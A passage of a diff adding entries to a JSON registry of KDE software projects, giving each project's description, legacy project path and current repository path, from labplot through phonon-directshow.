"graphics/kxstitch" + }, + "labplot": { + "description": "LabPlot is a FREE, open source and cross-platform Data Visualization and Analysis software accessible to everyone.", + "name": "labplot", + "project_path": "extragear/edu/labplot", + "repo_path": "education/labplot" + }, + "lancelot": { + "description": "Alternative launcher for Plasma with a more complete set of features compared to the default", + "name": "lancelot", + "project_path": "playground/base/lancelot", + "repo_path": "plasma/lancelot" + }, + "latte-dock": { + "description": "Replacement dock for Plasma desktops, providing an elegant and intuitive experience for your tasks and plasmoids", + "name": "latte-dock", + "project_path": "extragear/base/latte-dock", + "repo_path": "plasma/latte-dock" + }, + "layer-shell-qt": { + "description": "Qt component to allow applications to make use of the Wayland wl-layer-shell protocol.", + "name": "layer-shell-qt", + "project_path": "kde/workspace/layer-shell-qt", + "repo_path": "plasma/layer-shell-qt" + }, + "libbluedevil": { + "description": "KDE bluetooth framework libraries.", + "name": "libbluedevil", + "project_path": "unmaintained/libbluedevil", + "repo_path": "unmaintained/libbluedevil" + }, + "libdebconf-kde": { + "description": "A library that talks debconf protocol used to present questions", + "name": "libdebconf-kde", + "project_path": "extragear/sysadmin/libdebconf-kde", + "repo_path": "system/libdebconf-kde" + }, + "libechonest": { + "description": "Qt library for communicating with The Echo Nest.", + "name": "libechonest", + "project_path": "unmaintained/libechonest", + "repo_path": "unmaintained/libechonest" + }, + "libgpg-error": { + "description": null, + "name": "libgpg-error", + "project_path": "third-party/libgpg-error", + "repo_path": null + }, + "libgravatar": { + "description": "Library that provides Gravatar support", + "name": "libgravatar", + "project_path": "kde/pim/libgravatar", + "repo_path": "pim/libgravatar" + }, + "libkcddb": { + "description": "Library used to retrieve audio CD metadata from the Internet", + "name": "libkcddb", + "project_path": "kde/kdemultimedia/libkcddb", + "repo_path": "multimedia/libkcddb" + }, + "libkcompactdisc": { + "description": "Library for interfacing with CDs", + "name": "libkcompactdisc", + "project_path": "kde/kdemultimedia/libkcompactdisc", + "repo_path": "multimedia/libkcompactdisc" + }, + "libkcw": { + "description": "A minimal toolkit for win32 API required to build up the console wrapper.", + "name": "libkcw", + "project_path": "unmaintained/libkcw", + "repo_path": "unmaintained/libkcw" + }, + "libkdcraw": { + "description": "C++ interface around LibRaw library used to decode RAW picture files", + "name": "libkdcraw", + "project_path": "kde/kdegraphics/libs/libkdcraw", + "repo_path": "graphics/libkdcraw" + }, + "libkdeedu": { + "description": "Libraries used by KDE Education applications", + "name": "libkdeedu", + "project_path": "unmaintained/libkdeedu", + "repo_path": "unmaintained/libkdeedu" + }, + "libkdegames": { + "description": "Common code and data for many KDE games", + "name": "libkdegames", + "project_path": "kde/kdegames/libkdegames", + "repo_path": "games/libkdegames" + }, + "libkdepim": { + "description": "Library for common KDE PIM applications", + "name": "libkdepim", + "project_path": "kde/pim/libkdepim", + "repo_path": "pim/libkdepim" + }, + "libkeduvocdocument": { + "description": "Library to parse, convert, and manipulate KVTML files", + "name": "libkeduvocdocument", + "project_path": "kde/kdeedu/libkeduvocdocument", + "repo_path": "education/libkeduvocdocument" + }, + "libkexiv2": { + "description": "Wrapper around Exiv2 library to manipulate picture metadata as EXIF and XMP", + "name": "libkexiv2", + "project_path": "kde/kdegraphics/libs/libkexiv2", + "repo_path": "graphics/libkexiv2" + }, + "libkface": { + "description": "Qt/C++ library for KDE applications to perform face recognition and detection over pictures.", + "name": "libkface", + "project_path": "unmaintained/libkface", + "repo_path": "unmaintained/libkface" + }, + "libkfbapi": { + "description": "A library for accessing Facebook services.", + "name": "libkfbapi", + "project_path": "unmaintained/libkfbapi", + "repo_path": "unmaintained/libkfbapi" + }, + "libkgapi": { + "description": "Library for accessing various Google services via their public API", + "name": "libkgapi", + "project_path": "kde/pim/libkgapi", + "repo_path": "pim/libkgapi" + }, + "libkgeomap": { + "description": "Wrapper around different world-map components to browse and arrange photos over a map", + "name": "libkgeomap", + "project_path": "kde/kdegraphics/libs/libkgeomap", + "repo_path": "graphics/libkgeomap" + }, + "libkimageannotator": { + "description": "Utility for annotating images", + "name": "libkimageannotator", + "project_path": "playground/libs/libkimageannotator", + "repo_path": "libraries/libkimageannotator" + }, + "libkipi": { + "description": "Qt/C++ interface to use kipi-plugins from KDE image management programs", + "name": "libkipi", + "project_path": "kde/kdegraphics/libs/libkipi", + "repo_path": "graphics/libkipi" + }, + "libkleo": { + "description": "Library that provides cryptography support for mails", + "name": "libkleo", + "project_path": "kde/pim/libkleo", + "repo_path": "pim/libkleo" + }, + "libkmahjongg": { + "description": "Common code, backgrounds and tile sets for games using Mahjongg tiles", + "name": "libkmahjongg", + "project_path": "kde/kdegames/libkmahjongg", + "repo_path": "games/libkmahjongg" + }, + "libkomparediff2": { + "description": "Library to compare files and strings, used in Kompare and KDevelop", + "name": "libkomparediff2", + "project_path": "kde/kdesdk/libkomparediff2", + "repo_path": "sdk/libkomparediff2" + }, + "libkoralle": { + "description": "a library for parsing data in the Resource Interchange File Format (RIFF)", + "name": "libkoralle", + "project_path": "unmaintained/libkoralle", + "repo_path": "unmaintained/libkoralle" + }, + "libksane": { + "description": "Library providing QWidget with all the logic to interface scanners", + "name": "libksane", + "project_path": "kde/kdegraphics/libs/libksane", + "repo_path": "graphics/libksane" + }, + "libkscreen": { + "description": "KDE's screen management software", + "name": "libkscreen", + "project_path": "kde/workspace/libkscreen", + "repo_path": "plasma/libkscreen" + }, + "libksieve": { + "description": "Library which manages Sieve support", + "name": "libksieve", + "project_path": "kde/pim/libksieve", + "repo_path": "pim/libksieve" + }, + "libksysguard": { + "description": "Library to retrieve information on the current status of computer hardware", + "name": "libksysguard", + "project_path": "kde/workspace/libksysguard", + "repo_path": "plasma/libksysguard" + }, + "libktorrent": { + "description": "BitTorrent protocol implementation", + "name": "libktorrent", + "project_path": "kde/kdenetwork/libktorrent", + "repo_path": "network/libktorrent" + }, + "libkubuntu": { + "description": "Library for Kubuntu platform integration", + "name": "libkubuntu", + "project_path": "playground/base/libkubuntu", + "repo_path": "libraries/libkubuntu" + }, + "libkvkontakte": { + "description": "C++/KF5 library for asynchronous interaction with VK social network web API", + "name": "libkvkontakte", + "project_path": "extragear/libs/libkvkontakte", + "repo_path": "libraries/libkvkontakte" + }, + "liblikeback": { + "description": "A library that allows users to easily give feedback on software\nby embedding itself into every window and providing straight forward dialogs to\nexpress like or dislike of something.", + "name": "liblikeback", + "project_path": "unmaintained/liblikeback", + "repo_path": "unmaintained/liblikeback" + }, + "libmediawiki": { + "description": "C++ interface for MediaWiki-based web services such as Wikipedia", + "name": "libmediawiki", + "project_path": "extragear/libs/libmediawiki", + "repo_path": "libraries/libmediawiki" + }, + "libplasma": { + "description": "Plasma library and runtime components", + "name": "libplasma", + "project_path": "kde/workspace/libplasma", + "repo_path": "plasma/libplasma" + }, + "libqaccessibilityclient": { + "description": "Accessibilty tools helper library, used e.g. by screen readers", + "name": "libqaccessibilityclient", + "project_path": "extragear/libs/libqaccessibilityclient", + "repo_path": "libraries/libqaccessibilityclient" + }, + "libqapt": { + "description": "A Qt wrapper library/APT implementation around the libapt-pkg library", + "name": "libqapt", + "project_path": "extragear/sysadmin/libqapt", + "repo_path": "system/libqapt" + }, + "libqgit2": { + "description": "Qt wrapper library around the libgit2 git access library", + "name": "libqgit2", + "project_path": "playground/libs/libqgit2", + "repo_path": "libraries/libqgit2" + }, + "libqinfinity": { + "description": "Qt wrapper around libinfinity, a library for collaborative editing", + "name": "libqinfinity", + "project_path": "unmaintained/libqinfinity", + "repo_path": "unmaintained/libqinfinity" + }, + "libqmycroft": { + "description": "Mycroft integration library using a mock api to integrate apps as skill in mycroft", + "name": "libqmycroft", + "project_path": "playground/libs/libqmycroft", + "repo_path": "libraries/libqmycroft" + }, + "libqsystemd": { + "description": "Simple Qt systemd interface library", + "name": "libqsystemd", + "project_path": "playground/libs/libqsystemd", + "repo_path": "libraries/libqsystemd" + }, + "libquotient": { + "description": null, + "name": "libquotient", + "project_path": "third-party/libquotient", + "repo_path": null + }, + "libqzeitgeist": { + "description": "A Qt interface to the Zeitgeist event tracking system", + "name": "libqzeitgeist", + "project_path": "kdesupport/libqzeitgeist", + "repo_path": "unmaintained/libqzeitgeist" + }, + "libstreamanalyzer": { + "description": "Strigi libstreamanalyzer", + "name": "libstreamanalyzer", + "project_path": "kdesupport/strigi/libstreamanalyzer", + "repo_path": "unmaintained/libstreamanalyzer" + }, + "libstreams": { + "description": "Strigi libstreams", + "name": "libstreams", + "project_path": "kdesupport/strigi/libstreams", + "repo_path": "unmaintained/libstreams" + }, + "libtagaro": { + "description": "Replacement for libkdegames which will allow KDE games to scale to mobile form factors, and to fully take advantage of Qt 4 facilities.", + "name": "libtagaro", + "project_path": "unmaintained/libtagaro", + "repo_path": "unmaintained/libtagaro" + }, + "libtmdbqt": { + "description": "Library that can retrieve information about movies from the TMDb web service", + "name": "libtmdbqt", + "project_path": "playground/network/libtmdbqt", + "repo_path": "libraries/libtmdbqt" + }, + "licensedigger": { + "description": "Tools to convert existing license headers to SPDX compliant headers", + "name": "licensedigger", + "project_path": "playground/sdk/licensedigger", + "repo_path": "sdk/licensedigger" + }, + "licentia": { + "description": "Choose a license for your project", + "name": "licentia", + "project_path": "kdereview/licentia", + "repo_path": "sdk/licentia" + }, + "lightdm-kde-greeter": { + "description": "Login screen using the LightDM framework.\n \n* \"LightDM project\":https://launchpad.net/lightdm\n* \"Bug Tracker\":https://bugs.kde.org/describecomponents.cgi?product=lightdm", + "name": "lightdm-kde-greeter", + "project_path": "playground/base/lightdm-kde-greeter", + "repo_path": "plasma/lightdm-kde-greeter" + }, + "liquidshell": { + "description": "Basic desktop shell using QtWidgets", + "name": "liquidshell", + "project_path": "extragear/base/liquidshell", + "repo_path": "system/liquidshell" + }, + "lokalize": { + "description": "Computer-aided translation", + "name": "lokalize", + "project_path": "kde/kdesdk/lokalize", + "repo_path": "sdk/lokalize" + }, + "lskat": { + "description": "Lieutenant Skat (from German Offiziersskat) is a fun and engaging card game for two players", + "name": "lskat", + "project_path": "kde/kdegames/lskat", + "repo_path": "games/lskat" + }, + "macports-kde": { + "description": "Macports Tree for KDE Software", + "name": "macports-kde", + "project_path": "playground/sdk/macports-kde", + "repo_path": "unmaintained/macports-kde" + }, + "mailcommon": { + "description": "Library which provides support for mail applications", + "name": "mailcommon", + "project_path": "kde/pim/mailcommon", + "repo_path": "pim/mailcommon" + }, + "mailimporter": { + "description": "Library that implements importing of emails from various other email clients", + "name": "mailimporter", + "project_path": "kde/pim/mailimporter", + "repo_path": "pim/mailimporter" + }, + "mangonel": { + "description": "Simple and pretty application launcher", + "name": "mangonel", + "project_path": "extragear/base/mangonel", + "repo_path": "utilities/mangonel" + }, + "marble": { + "description": "Virtual Globe and World Atlas that you can use to learn more about the Earth", + "name": "marble", + "project_path": "kde/kdeedu/marble", + "repo_path": "education/marble" + }, + "mark": { + "description": "Scientific tool for data annotation", + "name": "mark", + "project_path": "playground/base/mark", + "repo_path": "education/mark" + }, + "markdownpart": { + "description": "KPart for rendering Markdown content", + "name": "markdownpart", + "project_path": "kde/kdeutils/markdownpart", + "repo_path": "utilities/markdownpart" + }, + "marknote": { + "description": "A simple markdown note management app", + "name": "marknote", + "project_path": "extragear/office/marknote", + "repo_path": "office/marknote" + }, + "massif-visualizer": { + "description": "Visualizer for Valgrind Massif data files", + "name": "massif-visualizer", + "project_path": "extragear/sdk/massif-visualizer", + "repo_path": "sdk/massif-visualizer" + }, + "maui-accounts-dbus-daemon": { + "description": "", + "name": "maui-accounts-dbus-daemon", + "project_path": "playground/base/maui-accounts-dbus-daemon", + "repo_path": "maui/maui-accounts-dbus-daemon" + }, + "maui-accounts-gui": { + "description": "", + "name": "maui-accounts-gui", + "project_path": "playground/base/maui-accounts-gui", + "repo_path": "maui/maui-accounts-gui" + }, + "maui-agenda": { + "description": "Maui Calendar App", + "name": "maui-agenda", + "project_path": "playground/base/agenda", + "repo_path": "maui/agenda" + }, + "maui-booth": { + "description": "A convergent camera app", + "name": "maui-booth", + "project_path": "playground/base/maui-booth", + "repo_path": "maui/booth" + }, + "maui-clip": { + "description": "Video player and video collection manager", + "name": "maui-clip", + "project_path": "playground/base/maui-clip", + "repo_path": "maui/clip" + }, + "maui-communicator": { + "description": "Contacts and dialer application", + "name": "maui-communicator", + "project_path": "playground/base/maui-communicator", + "repo_path": "maui/communicator" + }, + "maui-era": { + "description": "Maui Clock app", + "name": "maui-era", + "project_path": "playground/base/era", + "repo_path": "maui/era" + }, + "maui-fiery": { + "description": "A convergent web browser", + "name": "maui-fiery", + "project_path": "playground/base/maui-fiery", + "repo_path": "maui/fiery" + }, + "maui-libdavclient": { + "description": "DAV protocol support for Maui applications", + "name": "maui-libdavclient", + "project_path": "playground/base/maui-libdavclient", + "repo_path": "maui/maui-libdavclient" + }, + "maui-pix": { + "description": "Image gallery application", + "name": "maui-pix", + "project_path": "playground/base/maui-pix", + "repo_path": "maui/pix" + }, + "maui-shelf": { + "description": "Document and EBook collection manager", + "name": "maui-shelf", + "project_path": "playground/base/maui-shelf", + "repo_path": "maui/shelf" + }, + "maui-station": { + "description": "Convergent terminal emulator", + "name": "maui-station", + "project_path": "playground/base/maui-station", + "repo_path": "maui/station" + }, + "maui-strike": { + "description": "Strike is a simple minimal IDE for the Linux phones. Code, build, and run from the phone.", + "name": "maui-strike", + "project_path": "playground/sdk/strike", + "repo_path": "maui/strike" + }, + "mauikit": { + "description": "Templated convergent controls and multi-platform utilities for Maui applications", + "name": "mauikit", + "project_path": "playground/libs/mauikit", + "repo_path": "maui/mauikit" + }, + "mauikit-accounts": { + "description": "MauiKit utilities to handle User Accounts", + "name": "mauikit-accounts", + "project_path": "playground/libs/mauikit-accounts", + "repo_path": "maui/mauikit-accounts" + }, + "mauikit-calendar": { + "description": "Calendar support components for Maui applications", + "name": "mauikit-calendar", + "project_path": "playground/base/mauikit-calendar", + "repo_path": "maui/mauikit-calendar" + }, + "mauikit-documents": { + "description": "MauiKit QtQuick plugins for text editing", + "name": "mauikit-documents", + "project_path": "playground/base/mauikit-documents", + "repo_path": "maui/mauikit-documents" + }, + "mauikit-filebrowsing": { + "description": "MauiKit File Browsing utilities and controls", + "name": "mauikit-filebrowsing", + "project_path": "playground/libs/mauikit-filebrowsing", + "repo_path": "maui/mauikit-filebrowsing" + }, + "mauikit-imagetools": { + "description": "MauiKit Image Tools Components", + "name": "mauikit-imagetools", + "project_path": "playground/libs/mauikit-imagetools", + "repo_path": "maui/mauikit-imagetools" + }, + "mauikit-terminal": { + "description": "Terminal support components for Maui applications", + "name": "mauikit-terminal", + "project_path": "playground/base/mauikit-terminal", + "repo_path": "maui/mauikit-terminal" + }, + "mauikit-texteditor": { + "description": "MauiKit Text Editor components", + "name": "mauikit-texteditor", + "project_path": "playground/libs/mauikit-texteditor", + "repo_path": "maui/mauikit-texteditor" + }, + "mauiman": { + "description": "Maui Manager Library. Server and public library API.", + "name": "mauiman", + "project_path": "playground/base/mauiman", + "repo_path": "maui/mauiman" + }, + "mbox-importer": { + "description": "Wizard to assist with importing MBox email archives into Akonadi", + "name": "mbox-importer", + "project_path": "kde/pim/mbox-importer", + "repo_path": "pim/mbox-importer" + }, + "melon": { + "description": "Desktop QML file manager", + "name": "melon", + "project_path": "playground/system/melon", + "repo_path": "system/melon" + }, + "merkuro": { + "description": "A calendar application using Akonadi to sync with external services (Nextcloud, GMail, ...)", + "name": "merkuro", + "project_path": "kde/pim/merkuro", + "repo_path": "pim/merkuro" + }, + "messagelib": { + "description": "Library components for messages (e.g. displaying Akonadi collections)", + "name": "messagelib", + "project_path": "kde/pim/messagelib", + "repo_path": "pim/messagelib" + }, + "milou": { + "description": "A dedicated search application built on top of Baloo", + "name": "milou", + "project_path": "kde/workspace/milou", + "repo_path": "plasma/milou" + }, + "mimetreeparser": { + "description": "Parser for MIME trees", + "name": "mimetreeparser", + "project_path": "playground/pim/mimetreeparser", + "repo_path": "pim/mimetreeparser" + }, + "ministro": { + "description": "Ministro is system wide library installer/provider for android platform.", + "name": "ministro", + "project_path": "unmaintained/necessitas/ministro", + "repo_path": "unmaintained/ministro" + }, + "minuet": { + "description": "Free and open-source software for music education", + "name": "minuet", + "project_path": "kde/kdeedu/minuet", + "repo_path": "education/minuet" + }, + "modemmanager-qt": { + "description": "Qt wrapper for ModemManager DBus API.\n\nReport bugs in bugs.kde.org, under product frameworks-modemmanager-qt.", + "name": "modemmanager-qt", + "project_path": "frameworks/modemmanager-qt", + "repo_path": "frameworks/modemmanager-qt" + }, + "mplayerthumbs": { + "description": "MPlayer based thumbnail generator for video files.", + "name": "mplayerthumbs", + "project_path": "unmaintained/mplayerthumbs", + "repo_path": "unmaintained/mplayerthumbs" + }, + "mpvqt": { + "description": "MpvQt is a libmpv wrapper for QtQuick2 and QML", + "name": "mpvqt", + "project_path": "kde/applications/mpvqt", + "repo_path": "libraries/mpvqt" + }, + "mrdanga-player": { + "description": "Player for a percussion instrument from India of ancient origin.", + "name": "mrdanga-player", + "project_path": "unmaintained/mrdanga-player", + "repo_path": "unmaintained/mrdanga-player" + }, + "mtp-server": { + "description": "MTP server allowing file access to Plasma Mobile devices", + "name": "mtp-server", + "project_path": "playground/mobile/mtp-server", + "repo_path": "plasma-mobile/mtp-server" + }, + "mula": { + "description": "Multi Language Dictionary with online, offline dictionary, translation and text-to-speech support.", + "name": "mula", + "project_path": "unmaintained/mula", + "repo_path": "unmaintained/mula" + }, + "muon": { + "description": "A collection of package management tools for Debian-based systems", + "name": "muon", + "project_path": "extragear/sysadmin/muon", + "repo_path": "system/muon" + }, + "mycroft-bigscreen-setup": { + "description": "Bigscreen first boot mycroft configuration and setup skill", + "name": "mycroft-bigscreen-setup", + "project_path": "playground/utils/mycroft-bigscreen-setup", + "repo_path": "plasma-bigscreen/mycroft-bigscreen-setup" + }, + "mycroft-gui": { + "description": "The Graphical User Interface used by the Mycroft Mark II and more", + "name": "mycroft-gui", + "project_path": "playground/system/mycroft-gui", + "repo_path": "system/mycroft-gui" + }, + "mycroft-plasmoid": { + "description": "Plasma integration of different Mycroft AI services", + "name": "mycroft-plasmoid", + "project_path": "extragear/utils/mycroft-plasmoid", + "repo_path": "utilities/mycroft-plasmoid" + }, + "mycroft-ptt-client": { + "description": "A simple push to talk client for mycroft based on libinput for USB remotes or external devices that wish to activate the mycroft listener with a button press for Plasma Bigscreen", + "name": "mycroft-ptt-client", + "project_path": "playground/utils/mycroft-ptt-client", + "repo_path": "plasma-bigscreen/mycroft-ptt-client" + }, + "mycroft-skill-installer": { + "description": "Voice applications and mycroft skills installer for plasma bigscreen", + "name": "mycroft-skill-installer", + "project_path": "playground/utils/mycroft-skill-installer", + "repo_path": "plasma-bigscreen/mycroft-skill-installer" + }, + "necessitas-installer-framework": { + "description": "Qt's Installer Framework with a few custom patches", + "name": "necessitas-installer-framework", + "project_path": "unmaintained/necessitas/necessitas-installer-framework", + "repo_path": "unmaintained/necessitas-installer-framework" + }, + "necessitas-tools": { + "description": "Tools and scripts used to build Necessitas SDK.", + "name": "necessitas-tools", + "project_path": "unmaintained/necessitas/necessitas-tools", + "repo_path": "unmaintained/necessitas-tools" + }, + "neochat": { + "description": "A client for matrix, the decentralized communication protocol", + "name": "neochat", + "project_path": "extragear/network/neochat", + "repo_path": "network/neochat" + }, + "neon-docker-images": { + "description": "", + "name": "neon-docker-images", + "project_path": "neon/docker-images", + "repo_path": "neon/docker-images" + }, + "neon-neon-repositories": { + "description": "", + "name": "neon-neon-repositories", + "project_path": "neon/neon/repositories", + "repo_path": "neon/neon/repositories" + }, + "nepomuk-core": { + "description": "The core Nepomuk system contains of the central services like file indexing, file system monitoring, query, and of course storage, as well as the corresponding client libraries.\n\nThis is a compile time dependency for kde-runtime.", + "name": "nepomuk-core", + "project_path": "unmaintained/nepomuk-core", + "repo_path": "unmaintained/nepomuk-core" + }, + "nepomuk-system-tray": { + "description": "More enchanced system tray for Nepomuk.", + "name": "nepomuk-system-tray", + "project_path": "unmaintained/nepomuk-system-tray", + "repo_path": "unmaintained/nepomuk-system-tray" + }, + "nepomuk-tools": { + "description": "Collection of nepomuk development tools(mostly command line): working with nepomuk server, services and so on", + "name": "nepomuk-tools", + "project_path": "unmaintained/nepomuk-tools", + "repo_path": "unmaintained/nepomuk-tools" + }, + "nepomuk-web-extractor": { + "description": "Extract information for Nepomuk resources from various locations.\nMore information is available in following wiki pages: [[https://techbase.kde.org/Projects/Nepomuk/WebExtractor]]", + "name": "nepomuk-web-extractor", + "project_path": "unmaintained/nepomuk-web-extractor", + "repo_path": "unmaintained/nepomuk-web-extractor" + }, + "nepomuk-webminer": { + "description": "Finds additional metadata on the internet (via Python plugins) and adds it to Nepomuk.", + "name": "nepomuk-webminer", + "project_path": "unmaintained/nepomuk-webminer", + "repo_path": "unmaintained/nepomuk-webminer" + }, + "nepomuk-widgets": { + "description": "The Library containing the Nepomuk Widgets.", + "name": "nepomuk-widgets", + "project_path": "unmaintained/nepomuk-widgets", + "repo_path": "unmaintained/nepomuk-widgets" + }, + "nepomukannotation": { + "description": "A library and a set of tools that provide annotation suggestions.", + "name": "nepomukannotation", + "project_path": "unmaintained/nepomukannotation", + "repo_path": "unmaintained/nepomukannotation" + }, + "nepomukextras": { + "description": "A set of convinience classes for the Nepomuk semantic desktop.", + "name": "nepomukextras", + "project_path": "unmaintained/nepomukextras", + "repo_path": "unmaintained/nepomukextras" + }, + "nepomukshell": { + "description": "NepSaK - The Nepomuk Swiss Army Knife aka. NepomukShell is a maintenance and debugging tool intended for developers. \n\nIt allows to browse, query, and edit Nepomuk resources.", + "name": "nepomukshell", + "project_path": "unmaintained/nepomukshell", + "repo_path": "unmaintained/nepomukshell" + }, + "nepomuktvnamer": { + "description": "A command line tool, service, and desktop action to fetch information about TV Shows from thetvdb.com and store it into Nepomuk.", + "name": "nepomuktvnamer", + "project_path": "unmaintained/nepomuktvnamer", + "repo_path": "unmaintained/nepomuktvnamer" + }, + "networkmanagement": { + "description": "Control panel and widget network connections.", + "name": "networkmanagement", + "project_path": "unmaintained/networkmanagement", + "repo_path": "unmaintained/networkmanagement" + }, + "networkmanager-qt": { + "description": "Qt wrapper for NetworkManager API.\n\nReport bugs in bugs.kde.org, under product frameworks-networkmanager-qt.", + "name": "networkmanager-qt", + "project_path": "frameworks/networkmanager-qt", + "repo_path": "frameworks/networkmanager-qt" + }, + "nomad-style": { + "description": "", + "name": "nomad-style", + "project_path": "playground/base/nomad-style", + "repo_path": "maui/nomad-style" + }, + "nongurigaeru": { + "description": "The missing Foundation library for Qt GUI apps.", + "name": "nongurigaeru", + "project_path": "kdereview/nongurigaeru", + "repo_path": "libraries/nongurigaeru" + }, + "nota": { + "description": "Multi-platform text editor", + "name": "nota", + "project_path": "playground/base/nota", + "repo_path": "maui/nota" + }, + "notably": { + "description": "A semantic note taking application based on the Nepomuk framework.", + "name": "notably", + "project_path": "unmaintained/notably", + "repo_path": "unmaintained/notably" + }, + "notae": { + "description": "A simple note taking application that automatically saves your work", + "name": "notae", + "project_path": "playground/utils/notae", + "repo_path": "utilities/notae" + }, + "notificationsurvey": { + "description": "For more information, see https://community.kde.org/Elegance/Notification_Study", + "name": "notificationsurvey", + "project_path": "unmaintained/notificationsurvey", + "repo_path": "unmaintained/notificationsurvey" + }, + "ocean-sound-theme": { + "description": "Ocean Sound Theme for Plasma", + "name": "ocean-sound-theme", + "project_path": "kde/workspace/ocean-sound-theme", + "repo_path": "plasma/ocean-sound-theme" + }, + "ocs-apiserver": { + "description": "Backend API server for the software store", + "name": "ocs-apiserver", + "project_path": "playground/www/ocs-apiserver", + "repo_path": "webapps/ocs-apiserver" + }, + "ocs-cdn": { + "description": "Content delivery network for the software store", + "name": "ocs-cdn", + "project_path": "playground/www/ocs-cdn", + "repo_path": "webapps/ocs-cdn" + }, + "ocs-fileserver": { + "description": "File server for the software store", + "name": "ocs-fileserver", + "project_path": "playground/www/ocs-fileserver", + "repo_path": "webapps/ocs-fileserver" + }, + "ocs-server": { + "description": "A web server which provides OCS (Open Collaboration Services) functionality, and a web demo client", + "name": "ocs-server", + "project_path": "playground/www/ocs-server", + "repo_path": "webapps/ocs-server" + }, + "ocs-webserver": { + "description": "Webserver for running a software store", + "name": "ocs-webserver", + "project_path": "playground/www/ocs-webserver", + "repo_path": "webapps/ocs-webserver" + }, + "okteta": { + "description": "Hex editor for viewing and editing the raw data of files", + "name": "okteta", + "project_path": "extragear/utils/okteta", + "repo_path": "utilities/okteta" + }, + "okular": { + "description": "KDE document viewer", + "name": "okular", + "project_path": "kde/kdegraphics/okular", + "repo_path": "graphics/okular" + }, + "optiimage": { + "description": "Optimize your images with OptiImage, a useful image compressor that supports PNG, JPEG, WebP and SVG file types.", + "name": "optiimage", + "project_path": "playground/graphics/optiimage", + "repo_path": "graphics/optiimage" + }, + "osx-patches": { + "description": "Fixes for KDE problems that occur on Apple OS X", + "name": "osx-patches", + "project_path": "playground/base/osx-patches", + "repo_path": "unmaintained/osx-patches" + }, + "others-kde-br-promo": { + "description": "General repository for KDE Brazil promo material (artwork, templates, talks, etc)", + "name": "others-kde-br-promo", + "project_path": "others/kde-br-promo", + "repo_path": "unmaintained/kde-br-promo" + }, + "others-kde-promo": { + "description": "This is an easy method for organizing KDE Promo materials.", + "name": "others-kde-promo", + "project_path": "others/kde-promo", + "repo_path": "unmaintained/kde-promo" + }, + "others-kig-data": { + "description": "Course data for Kig, provided by KDE Edu.", + "name": "others-kig-data", + "project_path": "others/kde-edu-courses/kig-data", + "repo_path": "unmaintained/kig-data" + }, + "others-krita-marketing": { + "description": "Working together to creating marketing and introduction documents for Krita", + "name": "others-krita-marketing", + "project_path": "others/krita-marketing", + "repo_path": "unmaintained/krita-marketing" + }, + "others-kturtle-data": { + "description": "Course data for KTurtle, provided by KDE Edu.", + "name": "others-kturtle-data", + "project_path": "others/kde-edu-courses/kturtle-data", + "repo_path": "unmaintained/kturtle-data" + }, + "others-kvtml-data": { + "description": "Course data for Vocabulary trainers, provided by KDE Edu.", + "name": "others-kvtml-data", + "project_path": "others/kde-edu-courses/kvtml-data", + "repo_path": "unmaintained/kvtml-data" + }, + "oxygen": { + "description": "The Oxygen Style for Qt/KDE Applications", + "name": "oxygen", + "project_path": "kde/workspace/oxygen", + "repo_path": "plasma/oxygen" + }, + "oxygen-fonts": { + "description": "The Oxygen font family. A desktop/gui font family for integrated use with the KDE desktop.", + "name": "oxygen-fonts", + "project_path": "unmaintained/oxygen-fonts", + "repo_path": "unmaintained/oxygen-fonts" + }, + "oxygen-gtk": { + "description": "Port of the Oxygen widget theme to GTK", + "name": "oxygen-gtk", + "project_path": "playground/artwork/oxygen-gtk", + "repo_path": "plasma/oxygen-gtk" + }, + "oxygen-icons": { + "description": "Oxygen icon theme", + "name": "oxygen-icons", + "project_path": "frameworks/oxygen-icons", + "repo_path": "frameworks/oxygen-icons" + }, + "oxygen-sounds": { + "description": "The Oxygen Sound Theme", + "name": "oxygen-sounds", + "project_path": "kde/workspace/oxygen-sounds", + "repo_path": "plasma/oxygen-sounds" + }, + "oxygen-transparent": { + "description": "Fork of the default KDE widget and window decoration theme (Oxygen) that supports transparency for application windows.", + "name": "oxygen-transparent", + "project_path": "unmaintained/oxygen-transparent", + "repo_path": "unmaintained/oxygen-transparent" + }, + "packagekit-qt": { + "description": null, + "name": "packagekit-qt", + "project_path": "third-party/packagekit-qt", + "repo_path": null + }, + "pairs": { + "description": "A memory and pairs game by KDE", + "name": "pairs", + "project_path": "unmaintained/pairs", + "repo_path": "unmaintained/pairs" + }, + "palapeli": { + "description": "Palapeli is a single-player jigsaw puzzle game", + "name": "palapeli", + "project_path": "kde/kdegames/palapeli", + "repo_path": "games/palapeli" + }, + "paleta": { + "description": "Color utilities", + "name": "paleta", + "project_path": "playground/base/paleta", + "repo_path": "maui/paleta" + }, + "parley": { + "description": "Vocabulary Trainer", + "name": "parley", + "project_path": "kde/kdeedu/parley", + "repo_path": "education/parley" + }, + "partitionmanager": { + "description": "Manage the disk devices, partitions and file systems on your computer", + "name": "partitionmanager", + "project_path": "kde/kdeadmin/partitionmanager", + "repo_path": "system/partitionmanager" + }, + "peertube-voice-application": { + "description": "Peertube video player voice application and mycroft skill for Plasma Bigscreen", + "name": "peertube-voice-application", + "project_path": "playground/utils/peertube-voice-application", + "repo_path": "plasma-bigscreen/peertube-voice-application" + }, + "perceptualcolor": { + "description": "Qt GUI components for choosing colors, with focus on an intuitive and perceptually uniform presentatio", + "name": "perceptualcolor", + "project_path": "playground/libs/perceptualcolor", + "repo_path": "libraries/perceptualcolor" + }, + "perlkde": { + "description": "Perl bindings for libraries created by the KDE community.", + "name": "perlkde", + "project_path": "kde/kdebindings/perl/perlkde", + "repo_path": "unmaintained/perlkde" + }, + "perlqt": { + "description": "Perl bindings for the Qt libraries.", + "name": "perlqt", + "project_path": "kde/kdebindings/perl/perlqt", + "repo_path": "unmaintained/perlqt" + }, + "person-viewer": { + "description": "Simple address book application displaying info about aggregated contacts", + "name": "person-viewer", + "project_path": "playground/pim/person-viewer", + "repo_path": "unmaintained/person-viewer" + }, + "peruse": { + "description": "A comic book viewer and creator based on Frameworks 5, for use on multiple form factors", + "name": "peruse", + "project_path": "extragear/graphics/peruse", + "repo_path": "graphics/peruse" + }, + "phoneblocker": { + "description": "Application for blocking unwanted calls and messages on your Blackberry.", + "name": "phoneblocker", + "project_path": "unmaintained/phoneblocker", + "repo_path": "unmaintained/phoneblocker" + }, + "phonon": { + "description": "Multi-platform sound framework for application developers", + "name": "phonon", + "project_path": "kdesupport/phonon", + "repo_path": "libraries/phonon" + }, + "phonon-directshow": { + "description": "A DirectShow backend for the Phonon multimedia library.", + "name": "phonon-directshow", + "project_path": "unmaintained/phonon-directshow", + "repo_path": "unmaintained/phonon-directshow" + }, + 